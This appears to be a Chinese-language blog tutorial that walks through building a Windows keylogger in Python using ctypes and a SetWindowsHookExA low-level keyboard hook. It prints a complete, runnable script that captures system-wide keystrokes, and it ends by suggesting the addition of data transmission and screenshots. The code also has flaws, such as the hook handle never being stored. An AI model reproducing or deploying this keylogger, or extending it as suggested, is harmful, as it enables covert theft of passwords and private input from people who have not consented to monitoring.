• win32API
• Python基础，重点在cpytes库的使用
• C语言基础
• Hook

程序的基本原理在于通过注册Hook，记录系统事件。

那么什么是Hook呢？

user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")

• user32.dll 是Windows用户界面相关应用程序接口，用于包括Windows处理，基本用户界面等特性，如创建窗口和发送消息
• kernel32.dll 控制着系统的内存管理、数据的输入输出操作和中断处理**

流程部分

HHOOK SetWindowsHookExA( int idHook,
  HOOKPROC  lpfn,
  HINSTANCE hmod,
  DWORD     dwThreadId
);

user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)

• WINFUNCTYPE 为Windows下独有的，通过使用使用stdcall调用约定的函数
• CFUNCTYPE 使用标准C调用约定的函数

HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))

LRESULT CALLBACK LowLevelKeyboardProc(
  _In_ int nCode,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
);

class KBDLLHOOKSTRUCT(Structure):
    _fields_ = [
        ('vkCode', DWORD),
        ('scanCode', DWORD),
        ('flags', DWORD),
        ('time', DWORD),
        ('dwExtraInfo', DWORD)] def hookProc(nCode, wParam, lParam): if nCode < 0: return user32.CallNextHookEx(hooked, nCode, wParam, lParam) else:
        # 此处插入我们的代码 pass
    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

import sys
from ctypes import *
from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM

user32 = CDLL("user32.dll")
kernel32 = CDLL("kernel32.dll")


class KBDLLHOOKSTRUCT(Structure):
    _fields_ = [
        ('vkCode', DWORD),
        ('scanCode', DWORD),
        ('flags', DWORD),
        ('time', DWORD),
        ('dwExtraInfo', DWORD)]


def uninstallHookProc(hooked):
    if hooked is None:
        return
    user32.UnhookWindowsHookEx(hooked)
    hooked = None


def hookProc(nCode, wParam, lParam):
    if nCode < 0:
        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
    else:
        if wParam == 256:
            if 162 == lParam.contents.value:
                print("Ctrl pressed, call Hook uninstall()")
                uninstallHookProc(hooked)
                sys.exit(-1)
            capsLock = user32.GetKeyState(20)
            # kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))
            if lParam.contents.value==13:
                print("\n")
            elif capsLock:
                print(chr(lParam.contents.value),end="")
            else:
                print(chr(lParam.contents.value+32),end="")
    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)


def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg), 0, 0, 0)


def installHookProc(hooked, pointer):
    hooked = user32.SetWindowsHookExA(
        13,
        pointer,
        kernel32.GetModuleHandleW(),
        0
    )
    if not hooked:
        return False
    return True


HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
pointer = HOOKPROC(hookProc)
hooked = None
if installHookProc(hooked, pointer):
    print("Hook installed")
    try:
        msg = MSG()
        user32.GetMessageA(byref(msg), 0, 0, 0)
    except KeyboardInterrupt as kerror:
        uninstallHookProc(hooked)
        print("Hook uninstall...")
else:
    print("Hook installed error")

贴上我们的效果图

我们还可以再添加上额外的代码比如数据传输，截屏等等  ^_^